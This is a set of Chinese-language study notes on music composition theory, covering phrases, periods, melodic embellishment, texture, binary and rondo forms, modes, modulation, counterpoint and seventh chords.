  • 移调（Transposition）

第一章第十一节：乐句发展部

定义

  • 乐句的后四个小节

作用

  • 使乐句不稳定，继续发展
  • 终止结尾

相关技术

  • 可以单独使用，也可以全部联合使用，非常灵活

旋律加速（Surface Rhythm Acceleration）

  • 缩短旋律的音符

和声加速（Harmonic Acceleration）

  • 缩短和声的音符

模进进行（Sequential Progression）

  • 同时对旋律与和声进行相同音程的调节
  • 常与“碎片化”一起使用

碎片化（Fragmentation）

方法

  • 乐思的“片段”
  • 截取原旋律片段
  • 发展出新的旋律
  • 搭配模进进行

优势

  • 实用
  • 保留乐思特征
  • 保留展示部和发展部的关系
  • 推动音乐发展

特征去除（Liquidation）

  • 用于结束整个乐句
  • 增强乐句的停止感
  • 使用 IAC 甚至 PAC
  • 使用新的，没有特征的旋律（即特征去除）

第一章第十二节：乐段

定义

  • 乐段（Period）是一个八小节的音乐主题（Theme），它由两个部分构成，分别叫做先行部（Antecedent Phrase）和后续部（Consequent Phrase）

注意

  • 先行部和后续部，前两个小节需要保持联系
  • 后两个小节都需要以终止结尾
    • 并且，后续部的终止感需要强于先行部

先行部

写法

  • 书写基本乐思（Basic Idea）
  • 书写对比乐思（Contrasting Idea）
    • 并且，以一个较弱终止结尾

对比乐思

  • 一个新的乐思
  • 需要关联和对比
    • 对比：不能太过接近（重复）
    • 关联：不能差别太大（不谐和）
  • 书写
    • 音程旋律
    • 注意音高和时长

后续部

写法

  • 重复基本乐思（Basic Idea）
    • 严格重复
    • 模进重复
    • 应答重复
  • 书写对比乐思（Contrasting Idea）
    • 并且，以一个较强终止结尾

FL Studio 快捷键

  • 复制音符
    • 选中音符
    • Ctrl + B

第一章第十三节：乐句与乐段的区别

相同

  • 属于 曲式 - 主题 - 紧凑型主题
    • 紧凑：没有多余的音符
    • 所有音符都有作用
  • 以终止做结尾

不同

  • 对基本乐思的重复（对乐思的发展策略不同）
    • 乐句：乐思 - 重复 - 发展 - 终止
    • 乐段：乐思 - 发展 - 乐思重复 - 再发展

第二章第零节：概述

旋律知识

和声旋律

  • 新的书写思路
  • 保证谐和

旋律装饰

作用

  • 旋律的调整与修改
  • 让旋律变得华丽

技术

  • 经过音（Passing Tone）
  • 邻音（Neighbor Tone）
  • 双邻音（Double Neighbor Tones）
  • 倚音（Appoggiatura）
  • 规避音（Escape Tone）
  • 延留音/上行延留音（Suspension/Retardation）
  • 先现音（Anticipation）

和声知识

分解和弦

  • 增加和弦表现力
  • 丰富变化程度

和声织体

  • 增加音乐“厚度”

曲式知识

概要

  • 小型二段体
  • 小型三段体

共同点

  • 更能突出乐思
  • 更强表现力
  • 16 小节・32 小节

二段体音乐

  • 写出完整的音乐

第二章第一节：和声旋律

特点

  • 不需要灵感和思路
  • 遵循规则，编写旋律

过程

  1. 写出和声进行
  2. 列出和弦内音
  3. 写出第一个音符
  4. 时长
    • 随意选择
  5. 音高
    • 同音重复，步进和跳进
    • 五度跳进：反向进行
  6. 修改

“随机”？

TL;DR

调整内容稳定舒缓紧张活力
音符时长悠长音符短促音符
长音位置规整节奏切分节奏
级进跳进同音重复，步进进行跳进进行，大跳进行

音符时长

  • 希望旋律紧张
    • 短促音符
  • 希望旋律舒缓
    • 有常音符
  • 推动音乐发展
    • 长短音交错出现

长音位置

  • 节拍
    • 4/4：强，弱，次强，弱
  • 常规做法：长音在强拍
    • 突出音乐节拍
    • 让音乐规整
  • 特殊做法：短音在强拍
    • 生动有趣
    • 切分音

级进跳进

  • 可以交替进行

第二章第二节：旋律装饰

定义

  • 旋律装饰（Melody Embellishment）/ 旋律加花（Melody Ornamentation）
  • 添加，修改或者删除音符，使旋律变得华丽复杂

方式

  • 经过音（Passing Tone）
  • 邻音（Neighbor Tone）
  • 双邻音（Double Neighbor Tones）
  • 倚音（Appoggiatura）
  • 规避音（Escape Tone）
  • 延留音/上行延留音（Suspension/Retardation）
  • 先现音（Anticipation）

说明

经过音

  • 是一种和弦外音
  • 处于相邻的和弦内音之间
  • 处于和弦内音之间
  • 一个或两个音符
  • 连续级进的效果

邻音

  • 和弦内音上下方 两度
    • 和弦内音
    • 邻音
    • 之前的 和弦内音
    • （加粗为严格要求）
  • 上方邻音（Upper Neighbor Tone）
  • 下方邻音（Lower Neighbor Tone）
  • 轻拍更加常见

双邻音

  • 又称变化音（Changing Tones）或邻音组（Neighbor Group）
  • 写法
    • 和弦内音
    • 上行/下行两度
    • 下行/上行三度
    • 返回之前的和弦内音
  • 音符较短
  • 一般只出现在 非重拍 位置

装饰音注意

  • 位置：弱拍
  • 时长：较短时长
  • 旋律音符变短
    • 书写使用长音符
    • 修改前合并音符
  • 数量
    • 旋律装饰，而不是旋律修改
    • 与风格紧密相关
  • 初学者：建议每小节一个装饰音（粗糙标准）
  • 针对音乐主题的逻辑
    • 旋律装饰
    • 乐思重复
    • 乐思发展
    • 终止
    • 都各自有逻辑，如果添加装饰则需一并添加

第二章第三节：分解和弦

和声特征

  • 功能性
  • 节奏性
  • 色彩性

和声学

  • 同时发出的声音
    • 同时发出声音
    • 同时听到声音
    • 同时 感受到 声音
  • 声学特征
    • 柱式和声（Chord）
    • 分解和弦（Broken Chord）
  • 同时发出所有声音 / 短时间逐次演奏
    • 效果几乎相同

音型

定义

  • 连续重复出现多次 的 简短 音乐片段

分类

节奏性音型

  • 重音
    • 强拍
    • 次强拍
    • 弱拍
    • 非强拍
  • 最规整
    • 稳定发展
    • 酝酿情感
  • 灵活性不足

华彩性音型

  • 一个接一个逐次演奏
  • 最常见
  • 灵活多样
    • 使用和弦内音
    • 音程差距不大
    • 需要重复出现多次

综合性音型

  • 节奏性 + 华彩性
  • 依附于节奏 + 自由书写
  • 相对复杂
  • 重复出现多次
    • 让听众抓住规律

第二章第四节：和声织体

前提

  • 分解和弦：灵活多样
  • 演奏
    • 柱式和声：厚重
    • 分解和弦：单薄
  • 导出：分解和弦可以安排多个演奏部
  • 安排音符关系：织体

织体（Texture）

  • 多个声部的关系
  • 英文翻译
    • 更接近质感、质地和纹理

声部

  • 音乐结构的划分单位
    • 音高
    • 音型
    • 作用
    • 演奏方法等
  • 声部
    • 旋律声部
    • 和声声部
    • 女高音声部
    • 节奏声部
    • 小提琴声部
    • 伴奏声部

和声织体

  • 薄织体
    • 一组乐器
    • 简单的分解和弦/柱式和声
  • 厚织体
    • 增加音符
    • 避免混乱
    • 组织音符

组织方式

八度叠加

  • 考虑谐和程度
  • 相同的音符
    • 最谐和
    • 但仅仅提高音量
  • 进行八度叠加
    • 全部音符
    • 提高/降低八度

增加分解和弦类型

  • 华彩性 + 节奏性
    • 节奏：节奏感强
    • 华彩：灵活多样
  • 数量和组合限制
  • 音乐阶段
    • 开端发展：一种
    • 高潮段落：两种
    • 初学者禁止使用两种以上和弦类型
  • 组合方法
    • 节奏 + 华彩
    • 华彩 + 华彩
    • 综合几乎不使用

重复根音/最低音

  • 做法
    • 一个乐器
    • 根音/最低音
    • 保持一定音程关系
  • 音符
    • 一个悠长音符
    • 多个短促音符
    • 依附于强弱拍

厚薄织体对比

  • 没有优劣之分，只有应用差异
    • 激昂雄壮的交响乐
    • 平静舒缓的小夜曲
  • 各自的优势和不足
    • 薄织体
      • 简单
      • 对音乐烘托不足
    • 厚织体
      • 音响好
      • 极度复杂
  • 根据音乐内容和表现进行选择

第二章第五节：小型二段体

定义

  • 曲式 -> 紧凑型主题
  • Small Binary Form

要求

  • 两个主题
  • 第二个主题以 PAC 结尾
  • 两个主题有联系和对比

联系和对比

方法

  • 旋律
    • 音程
    • 时长
    • 节奏
  • 和声
    • 和声进行
    • 分解和弦
    • 和弦织体
  • 主题规则
    • 主题种类
    • 乐思特征
    • 乐思发展

旋律

  • 音程关系
  • 进行方向
  • 添加音符
  • 删除音符
  • 旋律装饰
  • 音符时长
  • 强弱关系

和声

  • 功能进行
  • 和声进行
  • 分解和弦音型
  • 和声织体

主题

  • 改变发展方法
  • 改变乐思
  • 改变主题类型

编写

  • 通过修改编写
    • 复制
    • 调整
    • 形成对比
  • 通过关联编写
    • 书写两个主题
    • 调整
    • 创造关联

第二章第六节：小型三段体

名称

  • 带有复现部的小型二段体（Rounded Binaries）
  • 小型三段体（Small Ternary）

组成

  • 展示部（Exposition）
  • 对比性中部（Contrasting Middle）
  • 再现部（Recapitulation）

展示部

  • 一个完整的音乐主题
  • 展示音乐的主要特征
  • PAC 是最常见的终止

对比性中部

  • 添加新元素
  • 与开头形成对比
  • 除了第五节创造联系与对比的所有方法之外
  • 一般还会连续使用不稳定的和声进行，更换分解和弦音型
  • 几乎只使用 HC 做终止

再现部

  • 用展示部的音乐加工完成
  • 重复，呼应开头
  • 使用 PAC
  • 一般做法
    • 完整截取展示部前两个小节
    • 截取展示部最后两个小节进行修改
  • 一般还会增加织体厚度

第二章第七节：二段体音乐

曲式

  • 主题（Theme）
    • 乐句，乐段，小型二段体，小型三段体
    • 从旋律和声到旋律片段
    • 连接音符，安排和声，两者的谐和程度
  • 音乐形式（Music Form）
    • 从主题到完整音乐
    • 主题数量，主题关系，安排段落关系，突出核心特征
    • 不同的方式 = 不同的音乐形式

二段体音乐

解决思路

  • 使用两个音乐主题
  • 使用地位对等的两个音乐
  • 使用交替出现的地位对等的两个音乐主题

设计

展示段

作用
  • 展示两个主题
  • 给之后留下空间
做法
  • 交替出现两个主题
  • 控制和声织体的情绪

重复段

作用
  • 重复两个主题
  • 对音乐添加变化
  • 让音乐情绪上升
做法
  • 复制前两个主题
  • 调整每一个音乐元素

高潮段

作用
  • 低沉的对比
  • 情绪由低谷到高潮
  • 强化高潮的表现力
  • 添加足够的变化
做法
  • 开端部分的旋律与和声
  • 高潮部分的表现方式
  • 过渡部分的发展方式
  • 聆听，并添加变化

结尾段

作用
  • 平息音乐情绪
  • 结束音乐
做法
  • 重复音乐主题
  • 调整与修改

评价

  • 普通
    • 现代：死板，不够鲜明
    • 古典：结构简单
  • 简单
    • 足够完成音乐创作
  • 常用
    • 不占用精力
    • 一样做出好作品

创作顺序或灵感来源

  • 旋律优先
  • 和声优先
  • 结构优先
  • 音色优先
  • 声部优先
  • 动机优先

第三章第零节：概述

前两章遗留的问题

缺少过渡段落

  • 没能让听众得到休息

段落对比不足

  • 旋律音符
  • 和声进行
  • 肢体特征
  • 对比强度依然不够

主题种类有限

  • 乐句
  • 乐段
  • 小型二段体
  • 小型三段体
  • 变化不够丰富

本章相关的知识

旋律

动机及其加工

  • 音乐的“本质”
  • 组成新的段落

速度，拍号与切分

  • 音乐的速度与节拍
  • 切分

和声

调式调性

  • 基础概念
  • 自然大调，小调
  • 和声小调，旋律小调

转调

  • 高级概念？
  • 绝对必要的知识
  • 写完二段体音乐的 最重要 的知识

曲式

混合主题

复合主题

  • 复乐句
  • 复乐段

附加章二：回旋曲

  • 结构自由灵活
  • 标准的传统音乐结构

第三章第一节：动机及其加工

旋律的编写方法

  • 音程旋律
  • 和声旋律
  • 对动机进行加工

动机（Motif）

定义

  • 体现音乐核心灵感的简短片段，是包含主题特征的最小单位
  • 乐句的主题特征，乐思，本质上也是一种动机

动机的加工方法

重复与模进

  • 严格重复
  • 变化模进
  • 严格模进

加工音高

  • 改变顺序
  • 改变方向
  • 改变音程

加工和声

  • 改变和声进行
  • 改变转位
  • 增加和声
  • 更改分解和弦

加工节奏

  • 拆分音符
  • 延长音符
  • 组合音符
  • 删除音符
  • 切分节奏

特殊修改

  • 重写头部，重写中部，重写尾部
  • 拆分，发展
    • 拆分：截取动机的一部分（碎片化）
    • 发展：发展动机
  • 逆行，倒影，逆行倒影
    • 逆行（时间翻转）
    • 倒影（音高翻转）
    • 逆行倒影（中心对称）

第三章第二节：速度，节拍与切分

速度（Tempo）

定义

  • 音符的时长
  • 单位
    • 每分钟拍数（Beats Per Minute）
    • BPM

常见速度

现代音乐

音乐类型速度下限(BPM)速度上限(BPM)
Dubstep7075
Funk90110
Hop80115
House118135
Rock110140
Techno120160
Hardstyle150160

古典音乐体系

名称意大利文速度(BPM)
极端地缓慢Larghissimo< 24
庄严的慢板Grave25 - 45
广板Largo40 - 60
慢板Lento45 - 60
小慢板Larghetto60 - 66
柔板Adagio66 - 76
小柔板Adagietto72 - 80
行板Andante76 - 108
小行板Andantino80 - 108
中板Moderato98 - 112
小快板Allegretto102 - 110
中速的快板Allegro Moderato116 - 120
快板Allegro120 - 156
活泼的Vivace156 - 176
快而活跃的Allegrissimo172 - 176
急板Presto168 - 200
最急板Prestissimo> 200

有趣的问题

  • 一首歌曲 -> 速度加倍 + 同时音符时长也加倍，听感是否相同？
  • 并不相同：音乐中还有节拍

节拍（Meter）

常见节拍

  • 4/4：强，弱，次强，弱
  • 2/4：强，弱
  • 3/4：强，弱，弱
  • 6/8：强，弱，弱，次强，弱，弱

作用

  • 控制音乐节奏
  • 让音乐规整，清晰

切分（Syncopation）

作用

  • 短暂破坏节奏和强弱关系
  • 有规律的破坏
  • 增加音乐的变化性

写法

调节时长

  • 重节拍放短音符

删除音符

  • 重节拍无音符

调节位置

  • 长音符提前出现

音符力度

力度符号称呼称呼（中文）对应力度比例
pppppianissimississimo极 · 极弱0%
ppppianissimissimo极弱12.5%
pppianissimo非常弱25.0%
ppiano弱37.5%
mpmezzo-piano中等偏弱50%
mfmezzo-forte中等偏强62.5%
fforte强75.0%
fffortissimo非常强87.5%
ffffortissimissimo极强100.0%
  • 音乐常见区间为：mf - ff

第三章第三节：调式与调性

音律学与调式

音乐发展史

  • 倍数关系（八度，Octave）
  • 频率差一倍，音高差八度
  • 作曲时音符数量不够
    • 需要更多音符
    • 诞生 纯律（Pure Intonation）
    • 同时诞生 音律学（Musical Temperament）
  • 纯律
    • 音符足够，组合好听
    • 但不能解决 狼音程（Wolf Interval） 问题
      • 同时演奏特定音程关系的音符，极度不好听
  • 音律学
    • 五度相生律
    • 三分损益律
    • 十二平均律
    • 十二平均律（精准音高）
  • 进展
    • 谐和的音符：八度关系
    • 更多的音符：音律学
    • 准确的音高：十二平均律
  • 新的问题
    • 音符太多？
    • 任意组合都可以吗？
  • 解决方法：挑选一些音符

调式（Mode）

定义

  • 以一个主音为中心，若干个以特定顺序连接起来的音，形成的集合

注意

  • 调式是安排其他音与主音的关系的术语
  • 不影响主音的选择

特点

  • 多种多样
  • 灵活自由

调性（Tonality）

定义

  • 主音 + 调式
  • 确定的调性 = 确定的音符

自然大调与自然小调

自然大调

确定方法

  • 选择一个主音
  • 挑选其后几个音符
    • 第 2 个
    • 第 4 个
    • 第 5 个
    • 第 7 个
    • 第 9 个
    • 第 11 个

常见自然大调

  • C 大调

音乐风格

  • 明朗、欢快、活泼、风趣

自然小调

确定方法

  • 选择一个主音
  • 挑选其后几个音符
    • 第 2 个
    • 第 3 个
    • 第 5 个
    • 第 7 个
    • 第 8 个
    • 第 10 个

常见自然大调

  • C 小调

音乐风格

  • 沉郁、忧伤

其他调式

和声小调

  • 主音 + 其后第 2，3，5，7，8，11 个音
  • 其实是自然小调最后一个音升高半音
  • 一般用在自然小调的和声部分，让和声的连接更加流畅
  • 自然小调的和声部分

旋律小调

  • 主音 + 其后第 2，3，5，7，9，11 个音
  • 其实也是将和声小调第六个音也升高半音
  • 一般用在自然小调的旋律上行部分，暂时替代原有调式，让歌曲的演唱更加容易

中国五声调式

  • 主音 + 其后 4 个音
  • 宫
  • 商
  • 角
  • 徵
  • 羽

教会调式

  • 多利亚调式（Dorian）
  • 弗利几亚调式（Phrygian）
  • 利底亚调式（Lydian）
  • 伊奥利亚调式（Aeolian）
  • 混合利底亚调式（Mixolydian）
  • 洛克利亚调式（Locrian）
  • 艾奥尼亚调式（lonian）

挑选调式调性的考虑

  • 调式挑选
    • 大调：阳光欢快
    • 小调：沉郁忧伤
  • 调性的选择
    • 依赖于作曲家的喜好
    • 早期古典作曲家喜欢使用简单调性（升降记号少），现在则不受约束
    • 按照自己审美进行挑选即可

第三章第四节：转调

确立调性（Establishing Tonality）

作用

  • 听众判断调性

方法

  • V -> I 正格终止即可

多个调式

  • 可以使用多个调式
  • 专门的方法：转调（Modulation）
  • 转调也有限制

转调方法

  1. Common-chord modulation（共同和弦转调）
  2. Enharmonic modulation
  3. Common-tone modulation
  4. Chromatic modulation
  5. Phrase modulation
  6. Sequential modulation
  7. Chain modulation
  8. Parallel key modulation

共同和弦转调

优点

  • 常用
  • 过渡自然

五度圈

  • 寻找近关系调
    • 任意一个调
    • 其顺时针和逆时针相邻的四个调即近关系调
  • 寻找共同和弦
    • 希望转调的两个和弦
    • 其内外圈的所有四个和弦即共同和弦

第三章第五节：混合主题

主题

  • 紧凑型主题（Tight-Knit Theme）
    • 乐句
    • 乐段
    • 小型二段体
    • 小型三段体
  • 松散型主题（Loose Theme）
  • 混合主题（Hybrid Theme）
    • 混合主题 1
    • 混合主题 2
    • 混合主题 3
    • 混合主题 4
  • 复合主题（Compound Theme）
    • 复乐句
    • 复乐段

乐句乐段回顾

乐句

  • 展示，重复
    • 乐句展示部
  • 发展，终止
    • 乐句发展部

乐段

  • 展示，发展
    • 乐段先行部
  • 重复，终止
    • 乐段后续部

混合主题

概述

  • 混合主题 1（Hybrid 1）：乐段先行部 + 乐句发展部
  • 混合主题 2（Hybrid 2）：乐段先行部 + 强力的终止
  • 混合主题 3（Hybrid 3）：混合乐思 + 乐句发展部
  • 混合主题 4（Hybrid 4）：混合乐思 + 乐段后续部

混合乐思

  • 四小节音乐乐思
    • 一个较长乐思
    • 两个乐思组合
    • 乐思 + 短暂发展
    • 乐段先行部（去除终止）
  • 以上四种都可以
  • 没有终止即可

混合主题 1

  • 展示，发展，发展，发展

混合主题 2

  • 展示，发展，强力终止
  • 强力终止
    • PAC
    • 悠长音符
    • 和缓的分解和弦
    • 去除乐思发展
    • 简单来说 = 特征去除 + 终止

混合主题 3

  • 混合乐思 + 乐句发展部

混合主题 4

  • 混合乐思 + 乐段后续部
  • 本质上：前四个小节没有终止的标准乐段

应用

  • 紧凑型主题的变化：连接在其他紧凑型主题之后
  • 音乐的组件：组成小型二段体，小型三段体
  • 一种音乐主题：替代紧凑型主题，组成音乐

第三章第六节：复合主题

复合主题

  • 复乐句：对于乐句的扩展
  • 复乐段：对于乐段的扩展

复乐句

  • 约十六小节音乐主题

    • 混合乐思的展示
    • 混合乐思的再现
    • 混合乐思的发展
    • 复乐句的终止

  • 展示部和发展部没有固定长度

复乐段

结构

  • 两个乐句
  • 两个混合主题 1
  • 两个混合主题 3

限制

  • 前后两个结构要一致

第三章第七节：回旋曲

目前已知的音乐形式

  • 二段体（简单的音乐形式）
  • 回旋曲（古典音乐常见的音乐形式）

设计思路

  • 使用（至少）三个主题
    • 一个核心主题
      • 专业术语：叠部（Refrains）
    • （至少）两个对比主题
      • 专业术语：插部（Episodes）
  • A-B-A-C-A 结构

结构

五段式回旋曲

  • A-B-A-C-A
  • 传统，标准
  • 短小紧凑，功能明确

七段式回旋奏鸣曲

  • 融合了回旋曲与奏鸣曲的特点
  • A-B-A-C-A-B-A
    • 按照奏鸣曲特点分割：
    • ABA-C-ABA
  • 展现部 - 对比性的发展部 - 复现部
  • 常见于古典音乐

情绪特点

  • 活泼热烈
  • 源于约定俗成，而非音乐本身
    • 热情奔放的舞曲，使用回旋曲
    • 创作回旋曲，优先书写欢快热烈的音乐
  • 可以遵守，也可以打破
    • 可以用回旋曲编写欢快的作品
    • 也可以用其表达任意的情感

内容

叠部

  • 主题常用：
  • 乐句
  • 乐段
  • 小型三段体

插部

  • 可以是音乐主题
  • 也可以是松散的音乐结构

整体结构

叠部

  • 展示特征
  • 重复 / 发展
    • 严格重复
    • 或添加变化
      • 添加旋律装饰
  • 重复 / 发展
    • 严格重复
    • 或添加变化
      • 添加旋律装饰

插部

  • 营造对比
  • 任意发展

长度

  • 一般来讲第一个叠部会长得多
    • 奠定音乐主题
    • 展示特征
    • 乐思展示
    • 足够发展
  • 第二三个叠部只是再现，所以会短一点
  • 插部时长完全没有限制
    • 可以紧凑，对比简单
    • 可以充分，引入更多内容

调性

大调回旋曲

  • A-B-A-C-A
  • A：一般使用相同调式，主调式
  • B：一般使用 V
  • C：一般使用 IV，vi，或平行关系小调（例：C -> Cm）
    • 以 A = C 为例：
    • B：G
    • C：F，Am，Cm

小调回旋曲

  • A-B-A-C-A
  • A：一般使用相同调式，主调式
  • B：一般使用 III，VI
  • C：一般使用 iv，v
    • 以 A = Am 为例：
    • B：C，F
    • C：Dm，Em

注意

  • 形成于 18 世纪 - 19 世纪
  • 参考，但不是规范
    • 不能不转调
    • 也不能乱转调
  • 可以使用此规范，也可以打破规则创新

回旋曲与二段体对比

比较内容回旋曲二段体
主题数量灵活两个
主题时长灵活自由相同
主题功能明确的功能差异功能相同或相近
  • 回旋曲更加灵活和开放
    • 需要更丰富的经验
    • 容易无所适从
    • 耗费更多精力在结构上

概述

本章将补完以前知识，并尝试写作主歌副歌体。

第四章第一节：旋律装饰

概览

原理

  • 给旋律添加和弦外音

分类

  • 经过音（Passing Tone）
  • 邻音（Neighbor Tone）
  • 双邻音（Double Neighbor Tones）
  • 倚音（Appoggiatura）
  • 规避音（Escape Tone）
  • 延留音・上行延留音（Suspension・Retardation）
  • 先现音（Anticipation）

经过音・邻音・双邻音

  • 详见 [第二章第二节：旋律装饰]（https://tinysnow.github.io/学习/音乐/第二章/第二节：旋律装饰.html）

倚音

  • 和弦内音 -> 跳进 到和弦外音 -> 反向级进 到和弦内音

规避音

  • 和弦内音 -> 级进 到和弦外音 -> 反向跳进 到和弦内音

延留音・上行延留音

  • 音高不同的两个和弦内音之间
  • 和弦内音延长 -> 和弦外音
  • 之后的音符音高 低于 延长音，即延留音
    • 否则就是上行延留音

先现音

  • 音高不同的两个和弦内音之间
  • 和弦内音提早出现 -> 和弦外音
  • 不关心前后音高关系，出现时机早即可
  • 不存在上行先现音

总结

和弦外音前后和弦音音高连接方式
经过音不同连续级进
邻音相同级进和反向级进
双邻音相同级进和跳进
倚音不同跳进和反向级进
规避音不同级进和反向跳进
延留音・上行延留音不同演奏上一个和弦的内音
先现音不同演奏下一个和弦的内音

本质和记忆

  • 旋律装饰
    • 只使用和弦音
    • 同时使用和弦音 + 和弦外音
    • 让旋律变得更加动听
    • 如何进行装饰 不是重点
  • 两度以内：旋律装饰
  • 两度以外：旋律修改

第四章第二节：多声部音乐

诞生

  • 多个旋律
    • 两个旋律 + 和声
    • 三个旋律 + 和声
  • 四部和声（Four-Part Harmony）
    • 四个旋律
    • 音响效果非常优秀
    • 书写非常困难
    • 古典音乐中常见的音乐形式

四部和声

写作目的

  • 古典音乐常用，教会音乐常用
  • 四个声部
    • 男低音
    • 男高音
    • 女低音
    • 女高音
  • 效果
    • 四个声部音响效果都很优秀
    • 四个声部彼此独立，清晰可闻
    • 能够流畅形成和声

写作难点

  • 只能使用和弦内音

  • 演唱者能够演唱

  • 音高不能交叉

  • 声部必须保持独立

  • 音符时长有所限制

写作规范

  • 必须以完全协和音开始
  • 以低音声部为判断声响的基准
  • 不得出现声部交叉
  • 不得出现声部超越
  • 不得出现平行五度
  • 不得出现平行八度
  • 不得出现高音声部跳进的隐伏五度
  • 不得出现高音声部跳进的隐伏八度
  • 平行三度不得连续出现四次或四次以上
  • 平行六度不得连续出现四次或四次以上
  • 需要使用特定方法解决不协和音程
  • ……

多声部音乐分类

主音音乐（Homophony）

  • 一个旋律声部 + 和声声部

复音音乐（Polyphony）

  • 特征：多个旋律

  • 四部和声（Four-Part Harmony）

    • 四条旋律，共同发展

  • 赋格音乐（Fugue）

    • 两条旋律，相互模仿

  • 卡农音乐（Canon）

    • 两条旋律，交织出现

  • 轮唱（Antiphon）

    • 两个/两组歌手，交替演唱

支声音乐（Heterophony）

  • 主音音乐 + 复音音乐
  • 常见于东方音乐

第四章第三节：对位法与支声音乐

支声音乐

  • 多条旋律线
  • 旋律线可以分开发展，也可以合并
  • 旋律线的进行非常自由
  • 需要使用对位法（Counterpoint）
  • 创作方法自由
    • 可以使用单一旋律
    • 可以使用对位法增加对比
  • 写作思路
    • 当做一个主音音乐来书写
    • 在特定段落增加分支声部
    • 高潮段落，高潮之前，过渡段落，音乐开头
    • 自由的组织和安排

对位法（Counterpoint）

  • 两个旋律，保持发展过程中的谐和
  • 书写重点：
    • 节奏关系
    • 音程关系
    • 音乐的发展与走势

节奏关系

  • “音符对音符”
  • 特殊的节奏关系
    • 一音对一音
    • 双音对一音
    • 组音对一音
    • 延留音对位
    • 综合运用
  • 也就是两个旋律的音乐节奏完全相同

音程关系

  • 音程的谐和与不谐和
    • 非常谐和： 一度，八度，五度
    • 谐和：三度，四度，六度
    • 不谐和：二度，七度
    • 非常不谐和：小二度，大七度
  • 安排谐和与不谐和的音程
    • 过度不谐和音程：刺耳
    • 不谐和：产生张力
    • 谐和：给人一种完满的感觉
    • 过度谐和：失去对位法的核心
  • 交替出现谐和与不谐和音程

发展趋势

  • 单个旋律
    • 上升进行
    • 下降进行
    • 交错进行
    • 静止进行
  • 多个旋律
    • 同向进行：上升上升，下降下降
      • 差异较小
      • 使用较少
    • 反向进行：上升下降，下降上升
      • 效果强烈
      • 不能 连续 使用
    • 斜向进行：静止上升，静止下降
      • 效果适中
      • 最为常见
    • 平行进行：同向进行，并且音程变化相同
      • 差异最小
      • 使用最少

第四章第四节：七和弦与和弦排列

七和弦

构成

  • 一种使用 四个 音符
  • 三度关系叠加

分类

七和弦音程排列方式
减减七和弦・减七和弦小三和弦 + 小三和弦 + 小三和弦
减小七和弦・半减七和弦小三和弦 + 小三和弦 + 大三和弦
小小七和弦・小七和弦小三和弦 + 大三和弦 + 小三和弦
小大七和弦小三和弦 + 大三和弦 + 大三和弦
大小七和弦・属七和弦大三和弦 + 小三和弦 + 小三和弦
大大七和弦・大七和弦大三和弦 + 小三和弦 + 大三和弦
增小七和弦・增七和弦大三和弦 + 大三和弦 + 小三和弦
增大七和弦大三和弦 + 大三和弦 + 大三和弦
  • 省略和弦
  • 替代和弦
  • 挂留和弦
  • 变化音和弦

转位

名称（按音程关系）最低音简称
原位和弦・三五七和弦根音七和弦
第一转位・三五六和弦三音五六和弦
第二转位・三四六和弦五音三四和弦
第三转位・二四六和弦七音二和弦

功能

  • 七和弦 = 三和弦 + 叠加音符
  • 功能与三和弦一致
    • V7 = V
    • I7 = I
  • 稳定性比三和弦低
    • 主功能七和弦 < 主功能三和弦
    • 下属功能七和弦 < 下属功能三和弦
    • 属功能七和弦 < 属功能三和弦

使用

  • 功能进行
    • 使用七和弦替代三和弦
  • 终止进行
    • IAC・PAC：使用 V7 替代V，VII7 替代 VII
    • HC：禁止 使用 V7
    • IAC・PAC：禁止 使用 I7

和弦的排列方式

密集排列

  • 任意两个相邻和弦之间音程差 不 超过 4 度
  • 音响效果浑厚

开放排列

  • 任意两个相邻和弦之间音程差超过 4 度
    • 两个相邻和弦之间还有一个和弦内音
  • 音响效果空旷

应用

  • 思路一
    • 低音部使用开放排列
    • 高音部使用密集排列
    • 增加和声的音响效果
  • 思路二
    • 不同段落使用不同的排列方式

说明

  • 种类：三和弦
  • 类型：增 三和弦
  • 转位： 第二转位 增三和弦
  • 排列：第二转位 开放排列 的增三和弦

第四章第五节：和声装饰

副属和弦

定义

  • V -> I：倾向强烈
  • 和弦的属和弦的属和弦 -> 和弦的属和弦 -> 和弦
    • 加粗部分即为副属和弦

应用

  • 添加在功能和声前面，增加效果

重属和弦

定义

  • 给 V 属功能和弦增加的副属和弦
    • 最常见，音响效果最好

常见

  • 理论上，重属和弦可以出现在任意一个属功能和弦之前
  • 最常见， IAC 和 PAC 的 V 终止进行之中

变化音和弦

  • 副属和弦
  • 重属和弦
  • 借用和弦

借用和弦

别称

  • 调式互换（Modal Interchange）
  • 调式混合（Mode Mixture）

逻辑

  • 同一主音，但不同调式，的同级和弦
    • C 大调： C 为主音，大调调式
    • c 小调：C 为主音，小调调式

使用（C 大调为例）

  1. 写出 C 大调的调内和弦
  2. 写出 c 小调的调内和弦
  3. 找到想要替换的同级和弦
    • 替换 III 级和弦
  4. 相互替换即可
    • C 大调的 III 替换为 c 小调的 III
    • 或
    • c 小调的 III 替换为 C 大调的 III

关于和弦

内容

  1. 和弦的定义

  2. 三和弦

  3. 七和弦

  4. 功能进行

  5. 终止进行

  6. 模进进行

  7. 和弦转位

  8. 分解和弦

  9. 和声织体

  10. 和弦排列方式

  11. 副属和弦

  12. 重属和弦

  13. 借用和弦

应用

  1. 写出和声进行
    • 功能进行
    • 终止进行
    • 模进进行
  2. 进行和声装饰
    • 三和弦->七和弦
    • 添加副属和弦
    • 使用借用和弦
  3. 对和声进行调整
    • 进行和声转位
    • 使用分解和弦
    • 进行八度叠加
    • 使用开放排列
    • 添加低音音符
  4. 终止进行最后音符
    • 禁止添加任何装饰

第四章第六节：和声进行的本质

和声的三种进行

  • 延伸进行（Prolongation Progression）
  • 序列进行（Sequential Progression）
  • 终止进行（Cadential Progression）

延伸进行

作用

  • 维持和弦的功能
  • 过度段落，高潮前的段落
    • 积累音乐情绪
    • 维持不稳定的情绪
  • 音乐的开头
    • 维持稳定的基调
    • 延长基调的功能

使用

和弦转位

替代和弦（Substitute Chords）

  • 使用功能进行中功能相同的其他和弦

邻和弦（Neighbouring chord）

  • 将一个和弦的全部音符向上或者向下移动两度
    • I 可以向上形成 ii，或者向下形成 ⅶ°
  • 邻和弦音响效果好，但是限制很多
    • 只能出现在弱音的位置
    • 邻和弦后面必须要连接之前的和弦

持续低音（Pedal Point）

定义
  • 和弦下方对根音进行叠加，并且保持这个叠加的音符不做变化
  • 或者
  • 在保证和弦的根音是最低音的情况下，延伸这个音符
  • 即使对上方的和弦进行一些变化，音乐听起来也依然停留在这个和弦
好处
  • 方便
  • 自由
  • 只要保留低音，和弦随便写

注意

  • 和声的表现形式
    • 分解和弦
    • 织体厚度
    • 副属和弦
  • 和声的功能
    • 重复和弦
